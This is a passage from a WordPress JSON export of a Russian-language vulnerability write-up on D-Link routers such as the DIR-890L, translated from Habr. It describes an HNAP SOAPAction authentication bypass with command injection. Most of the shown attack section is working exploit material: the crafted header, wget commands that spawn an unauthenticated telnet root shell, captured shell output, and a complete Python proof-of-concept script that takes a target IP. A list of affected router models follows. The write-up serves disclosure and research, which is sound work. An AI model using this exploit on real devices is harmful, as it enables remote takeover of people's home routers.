\u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0435 <code>SOAPAction<\/code> \u0435\u0441\u0442\u044c \u043f\u043e\u0434\u0441\u0442\u0440\u043e\u043a\u0430 <code> http:\/\/purenetworks.com\/HNAP1\/GetDeviceSettings<\/code><\/li>\n<li>\u0412 <code>sprintf<\/code> (\u0438 <code>system<\/code>) \u043f\u0435\u0440\u0435\u0434\u0430\u0435\u0442\u0441\u044f \u0432\u0441\u0435, \u0447\u0442\u043e \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u043f\u043e\u0441\u043b\u0435 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0433\u043e \u0441\u043b\u0435\u0448\u0430 \u0432 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0435 <code>SOAPAction<\/code><\/li>\n<\/ul>\n<p>  \u041c\u044b \u0441 \u043b\u0435\u0433\u043a\u043e\u0441\u0442\u044c\u044e \u043c\u043e\u0436\u0435\u043c \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a <code>SOAPAction<\/code>, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0431\u0443\u0434\u0435\u0442 \u0443\u0434\u043e\u0432\u043b\u0435\u0442\u0432\u043e\u0440\u044f\u0442\u044c \u043f\u0440\u043e\u043f\u0443\u0441\u043a\u0443 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0442\u044c \u043d\u0430\u043c \u043f\u0435\u0440\u0435\u0434\u0430\u0432\u0430\u0442\u044c \u0441\u0432\u043e\u044e \u0441\u0442\u0440\u043e\u043a\u0443 \u0432 <code>system<\/code>:  <\/p>\n<pre><code>SOAPAction: &quot;http:\/\/purenetworks.com\/HNAP1\/GetDeviceSettings\/`reboot`&quot;<\/code><\/pre>\n<p>  <code>http:\/\/purenetworks.com\/HNAP1\/GetDeviceSettings<\/code> \u0432 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0430\u043c \u043e\u0431\u043e\u0439\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e, \u0430 \u0441\u0442\u0440\u043e\u043a\u0430 <code>`reboot`<\/code> \u0431\u0443\u0434\u0435\u0442 \u043f\u0435\u0440\u0435\u0434\u0430\u043d\u0430 \u0432 <code>system<\/code>  <\/p>\n<pre><code>system(&quot;sh \/var\/run\/`reboot`.sh &gt; \/dev\/console&quot;);<\/code><\/pre>\n<p>  \u0417\u0430\u043c\u0435\u043d\u043e\u0439 <code>reboot<\/code> \u043d\u0430 <code>telnetd<\/code> \u043c\u044b \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043c telnet-\u0441\u0435\u0440\u0432\u0435\u0440 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438:  <\/p>\n<pre><code>$ wget --header='SOAPAction: &quot;http:\/\/purenetworks.com\/HNAP1\/GetDeviceSettings\/`telnetd`&quot;' http:\/\/192.168.0.1\/HNAP1 $ telnet 192.168.0.1 Trying 192.168.0.1... Connected to 192.168.0.1. Escape character is '^]'.     BusyBox v1.14.1 (2015-02-11 17:15:51 CST) built-in shell (msh) Enter 'help' for a list of built-in commands.   # <\/code><\/pre>\n<p>  \u041c\u044b \u043c\u043e\u0436\u0435\u043c \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c HNAP-\u0437\u0430\u043f\u0440\u043e\u0441\u044b \u0438\u0437 WAN, \u0435\u0441\u043b\u0438 \u0431\u044b\u043b\u043e \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u043e \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0435 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435. \u041a\u043e\u043d\u0435\u0447\u043d\u043e, \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u0435\u0440 \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u0442 \u0432\u0441\u0435 \u0432\u0445\u043e\u0434\u044f\u0449\u0438\u0435 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f \u043d\u0430 telnet \u0438\u0437 WAN. \u0421\u0430\u043c\u043e\u0435 \u043f\u0440\u043e\u0441\u0442\u043e\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u2014 \u0443\u0431\u0438\u0442\u044c HTTP-\u0441\u0435\u0440\u0432\u0435\u0440 \u0438 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c telnetd \u043d\u0430 \u0435\u0433\u043e \u043f\u043e\u0440\u0442\u0443:  <\/p>\n<pre><code>$ wget --header='SOAPAction: &quot;http:\/\/purenetworks.com\/HNAP1\/GetDeviceSettings\/`killall httpd; telnetd -p 8080`&quot;' http:\/\/1.2.3.4:8080\/HNAP1 $ telnet 1.2.3.4 8080 Trying 1.2.3.4... Connected to 1.2.3.4. Escape character is '^]'.   BusyBox v1.14.1 (2015-02-11 17:15:51 CST) built-in shell (msh) Enter 'help' for a list of built-in commands.   # <\/code><\/pre>\n<p>  \u0417\u0430\u043c\u0435\u0447\u0443, \u0447\u0442\u043e wget \u0431\u0443\u0434\u0435\u0442 \u0432\u0438\u0441\u0435\u0442\u044c \u0432 \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0438 \u043e\u0442\u0432\u0435\u0442\u0430, \u0442.\u043a. <code>cgibin<\/code> \u0431\u0443\u0434\u0435\u0442 \u043e\u0436\u0438\u0434\u0430\u0442\u044c \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u0435 telnetd. \u0412\u043e\u0442 \u043c\u0430\u043b\u0435\u043d\u044c\u043a\u0438\u0439 PoC \u043d\u0430 Python, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u0441\u0435 \u0434\u0435\u043b\u0430\u0435\u0442 \u0447\u0443\u0442\u043e\u0447\u043a\u0443 \u0443\u0434\u043e\u0431\u043d\u0435\u0439:  <\/p>\n<pre><code>#!\/usr\/bin\/env python   import sys import urllib2 import httplib   try:     ip_port = sys.argv[1].split(':')     ip = ip_port[0]       if len(ip_port) == 2:         port = ip_port[1]     elif len(ip_port) == 1:         port = &quot;80&quot;     else:         raise IndexError except IndexError:     print &quot;Usage: %s &lt;target ip:port&gt;&quot; % sys.argv[0]     sys.exit(1)   url = &quot;http:\/\/%s:%s\/HNAP1&quot; % (ip, port) # NOTE: If exploiting from the LAN, telnetd can be started on #       any port; killing the http server and re-using its port #       is not necessary. # #       Killing off all hung hnap processes ensures that we can #       re-start httpd later. command = &quot;killall httpd; killall hnap; telnetd -p %s&quot; % port headers = {             &quot;SOAPAction&quot;    : '&quot;http:\/\/purenetworks.com\/HNAP1\/GetDeviceSettings\/`%s`&quot;' % command,           }   req = urllib2.Request(url, None, headers) try:     urllib2.urlopen(req)     raise Exception(&quot;Unexpected response&quot;) except httplib.BadStatusLine:     print &quot;Exploit sent, try telnetting to %s:%s!&quot; % (ip, port)     print &quot;To dump all system settings, run (no quotes): 'xmldbc -d \/var\/config.xml; cat \/var\/config.xml'&quot;     sys.exit(0) except Exception:     print &quot;Received an unexpected response from the server; exploit probably failed. :(&quot;<\/code><\/pre>\n<p>  \u042f \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043b \u044d\u0442\u043e\u0442 \u0431\u0430\u0433 \u043d\u0430 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0430\u0445 v1.00 \u0438 v1.03 (\u043f\u043e\u0441\u043b\u0435\u0434\u043d\u044f\u044f \u043d\u0430 \u043c\u043e\u043c\u0435\u043d\u0442 \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u0438\u044f \u0441\u0442\u0430\u0442\u044c\u0438), \u0438 \u043e\u043d\u0438 \u043e\u0431\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u044b. \u041d\u043e, \u043a\u0430\u043a \u044d\u0442\u043e \u043e\u0431\u044b\u0447\u043d\u043e \u0431\u044b\u0432\u0430\u0435\u0442 \u0441 \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 embedded, \u044d\u0442\u043e\u0442 \u043a\u043e\u0434 \u043f\u043e\u043f\u0430\u043b \u0438 \u0432 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438 \u0434\u0440\u0443\u0433\u0438\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432.<\/p>\n<p>  \u0410\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432\u0441\u0435 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438 \u0434\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u0443\u0442\u043e\u043c\u0438\u0442\u0435\u043b\u044c\u043d\u043e, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u044f \u043f\u0435\u0440\u0435\u0434\u0430\u043b \u0438\u043d\u0444\u0440\u043e\u043c\u0430\u0446\u0438\u044e \u043e \u0431\u0430\u0433\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u0435 <a href=\"http:\/\/tacnetsol.com\/\">Centrifuge<\/a>, \u0443 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0435\u0441\u0442\u044c \u043e\u0442\u043b\u0438\u0447\u0438\u0435 \u0443\u0442\u0438\u043b\u0438\u0442\u044b \u0434\u043b\u044f \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0445 \u0432\u0435\u0449\u0435\u0439. Centrifuge \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u044d\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u043c\u043e\u0434\u0435\u043b\u044f\u0445:  <\/p>\n<ul>\n<li>DAP-1522 revB<\/li>\n<li>DAP-1650 revB<\/li>\n<li>DIR-880L<\/li>\n<li>DIR-865L<\/li>\n<li>DIR-860L revA<\/li>\n<li>DIR-860L revB<\/li>\n<li>DIR-815 revB<\/li>\n<li>DIR-300 revB<\/li>\n<li>DIR-600 revB<\/li>\n<li>DIR-645<\/li>\n<li>TEW-751DR<\/li>\n<li>TEW-733GR<\/li>\n<\/ul>\n<p>  \u041d\u0430\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u044f \u0437\u043d\u0430\u044e, HNAP \u043d\u0430 \u044d\u0442\u0438\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 \u043d\u0438\u043a\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u043d\u0435\u043b\u044c\u0437\u044f.<\/p>\n<p>  UPDATE: \u041f\u043e\u0445\u043e\u0436\u0435, \u0432 \u043d\u0430\u0447\u0430\u043b\u0435 \u0433\u043e\u0434\u0430 \u044d\u0442\u043e\u0442 \u0436\u0435 \u0431\u0430\u0433 \u043d\u0430\u0448\u0435\u043b <a href=\"http:\/\/securityadvisories.dlink.com\/security\/publication.aspx?name=SAP10051\">Samuel Huntly<\/a>, \u043d\u043e \u043e\u043d \u0431\u044b\u043b \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043b\u044f DIR-645. \u041f\u0430\u0442\u0447 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0445\u0440\u0435\u043d\u043e\u0432\u044b\u0439, \u0436\u0434\u0438\u0442\u0435 \u0435\u0433\u043e \u0440\u0430\u0437\u0431\u043e\u0440 \u0432 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u043c \u043f\u043e\u0441\u0442\u0435.   \t<\/p>\n<div class=\"clear\"><\/div>\n<p> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"http:\/\/habrahabr.ru\/post\/256451\/\"> http:\/\/habrahabr.ru\/post\/256451\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>       \u041f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 6 \u043c\u0435\u0441\u044f\u0446\u0435\u0432, \u044f \u0431\u044b\u043b \u0436\u0443\u0442\u043a\u043e \u0437\u0430\u043d\u044f\u0442 \u0438 \u043d\u0435 \u0441\u043b\u0435\u0434\u0438\u043b \u0437\u0430 \u043d\u043e\u0432\u044b\u043c\u0438 \u0445\u0440\u0435\u043d\u044f\u043c\u0438 \u043e\u0442 D-Link. \u0427\u0442\u043e\u0431\u044b \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u043f\u043e\u0440\u0430\u0437\u0432\u043b\u0435\u0447\u044c\u0441\u044f, \u044f \u0437\u0430\u0448\u0435\u043b \u043d\u0430 \u0438\u0445 \u0441\u0430\u0439\u0442, \u0438 \u043c\u0435\u043d\u044f \u043f\u043e\u043f\u0440\u0438\u0432\u0435\u0442\u0441\u0442\u0432\u043e\u0432\u0430\u043b \u044d\u0442\u043e\u0442 \u043a\u043e\u0448\u043c\u0430\u0440:<\/p>\n<p>  <img decoding=\"async\" src=\"http:\/\/habrastorage.org\/getpro\/habr\/post_images\/fd0\/d34\/2e2\/fd0d342e20917f5e6f2fd77125aa4a93.png\" alt=\"Insane router\"\/><br \/>  <i>\u0421\u0430\u043c\u044b\u0439 \u0431\u0435\u0437\u0443\u043c\u043d\u044b\u0439 \u0440\u043e\u0443\u0442\u0435\u0440 D-Link DIR-890L \u0437\u0430 $300<\/i><\/p>\n<p>  \u041f\u043e\u0436\u0430\u043b\u0443\u0439, \u0441\u0430\u043c\u044b\u043c \u00ab\u0431\u0435\u0437\u0443\u043c\u043d\u044b\u043c\u00bb \u0432 \u0440\u043e\u0443\u0442\u0435\u0440\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0442\u043e, \u0447\u0442\u043e \u043e\u043d \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043f\u043e\u0434 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u0432\u0441\u0435 \u0442\u043e\u0439 \u0436\u0435 <a href=\"https:\/\/github.com\/zcutlip\/exploit-poc\/tree\/master\/dlink\/dir-815-a1\/hedwig_cgi_httpcookie\">\u0437\u0430\u0431\u0430\u0433\u043e\u0432\u0430\u043d\u043d\u043e\u0439<\/a> <a href=\"http:\/\/shadow-file.blogspot.com\/2013\/02\/dlink-dir-815-upnp-command-injection.html\">\u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438<\/a>, \u043a\u043e\u0442\u043e\u0440\u0443\u044e D-Link \u0441\u0442\u0430\u0432\u0438\u0442 \u0432 \u0441\u0432\u043e\u0438 \u0440\u043e\u0443\u0442\u0435\u0440\u044b \u0432\u043e\u0442 \u0443\u0436\u0435 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043b\u0435\u0442\u2026<a href=\"https:\/\/www.youtube.com\/watch?v=WQZqJ_-WAO8\">and the hits just keep on coming.<\/a>  <\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-255925","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/255925","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=255925"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/255925\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=255925"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=255925"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=255925"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}